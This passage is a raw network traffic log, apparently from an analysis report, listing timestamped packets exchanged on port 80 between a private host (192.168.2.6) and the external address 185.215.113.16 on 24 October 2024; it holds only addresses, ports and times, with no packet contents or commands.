Oct 24, 2024 18:09:11.257618904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.257652998 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.257678032 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.257687092 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.257700920 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.257730961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.257772923 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.257807016 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.257827044 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.257839918 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.257864952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.257885933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.303666115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.303731918 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.303752899 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.303769112 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.303803921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.303819895 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.303819895 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.303841114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.303852081 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.303877115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.303889990 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.303925037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.303932905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.303967953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.303983927 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.304003000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.304014921 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.304039955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.304048061 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.304089069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.304302931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.304352999 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.304357052 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.304397106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.304416895 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.304466009 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.304480076 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.304512978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.304526091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.304558039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.304718018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.304769039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.304805040 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.304837942 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.304856062 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.304871082 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.304892063 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.304924965 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.305187941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.305238008 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.305238962 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.305280924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.305294991 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.305314064 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.305315971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.305350065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.305355072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.305392981 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.344347954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.344366074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.344383955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.344449043 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.344484091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.375672102 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.375705004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.375747919 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.375756979 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.375782967 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.375782967 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.375811100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.375844002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.375885010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.375926018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.375993013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.376007080 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.376035929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.376049042 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.376075029 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.376090050 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.376105070 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.376112938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.376125097 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.376141071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.376940012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.376955986 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.376971006 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.376980066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.376992941 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.377008915 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.377163887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.377214909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.377217054 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.377229929 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.377250910 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.377264977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.422959089 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.422976971 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.422991991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423007011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423022032 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423027992 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423039913 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423068047 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423077106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423079014 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423094988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423108101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423165083 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423197985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423275948 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423321962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423332930 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423384905 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423404932 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423419952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423440933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423455000 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423613071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423651934 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423671961 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423707008 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423722982 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423762083 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423791885 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423805952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423820972 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.423830032 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423841000 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.423854113 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.424184084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.424206018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.424221039 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.424222946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.424237013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.424240112 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.424248934 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.424254894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.424269915 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.424287081 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.424756050 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.424770117 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.424784899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.424797058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.424813986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.463860035 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.463915110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.463948965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.463984013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.464070082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.464071035 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.464071035 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.464071035 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.495280027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.495353937 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.495387077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.495438099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.495470047 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.495505095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.495579958 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.495671034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.495671034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.495671034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.496686935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.496741056 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.496792078 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.496825933 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.496859074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.496893883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.496897936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.496897936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.496897936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.496897936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.496927023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.496962070 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.496977091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.496977091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.496977091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.497021914 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.542294025 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.542378902 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.542407036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.542469025 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.542500973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.542536974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.542571068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.542604923 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.542638063 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.542673111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.542680025 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.542680979 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.542680979 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.542680979 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.542680979 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.542758942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.542793989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.542845011 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.542893887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.542946100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.542949915 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.542980909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543008089 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543018103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543031931 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543052912 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543081045 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543102980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543134928 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543169022 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543185949 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543217897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543431044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543481112 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543498993 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543531895 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543545961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543572903 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543605089 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543637037 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543647051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543669939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543683052 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543704987 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543718100 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543741941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.543754101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.543796062 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.582767010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.582808971 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.582843065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.582881927 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.582881927 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.582963943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.614674091 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.614705086 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.614737034 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.614770889 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.614801884 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.614835978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.614878893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.614878893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.614878893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.614880085 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.614880085 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.616100073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.616153002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.616208076 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.616262913 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.616275072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.616275072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.616275072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.616297960 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.616331100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.616349936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.616349936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.616367102 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.616377115 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.616400957 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.616417885 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.616436005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.616444111 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.616470098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.616498947 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.616508007 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.616518974 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.616566896 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.661675930 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.661747932 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.661786079 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.661818981 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.661851883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.661880016 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.661885977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.661880016 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.661880016 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.661880016 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.661920071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.661967039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.661967039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.661967039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.661978960 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662014008 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662043095 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662048101 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662065983 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662081957 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662098885 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662120104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662137985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662164927 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662226915 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662261963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662293911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662345886 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662379026 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662441015 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662441969 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662441969 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662441969 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662441969 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662641048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662700891 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662826061 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662826061 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662848949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662888050 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662895918 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662921906 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662947893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662954092 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662971020 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.662972927 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.662986994 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.663018942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.663018942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.663042068 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.702495098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.702547073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.702581882 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.702614069 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.702634096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.702651024 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.702804089 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.702804089 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.733922005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.733972073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.734031916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.734070063 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.734106064 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.734139919 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.734220028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.734220028 CEST	49994	80	192.168.2.6	185.215.113.16
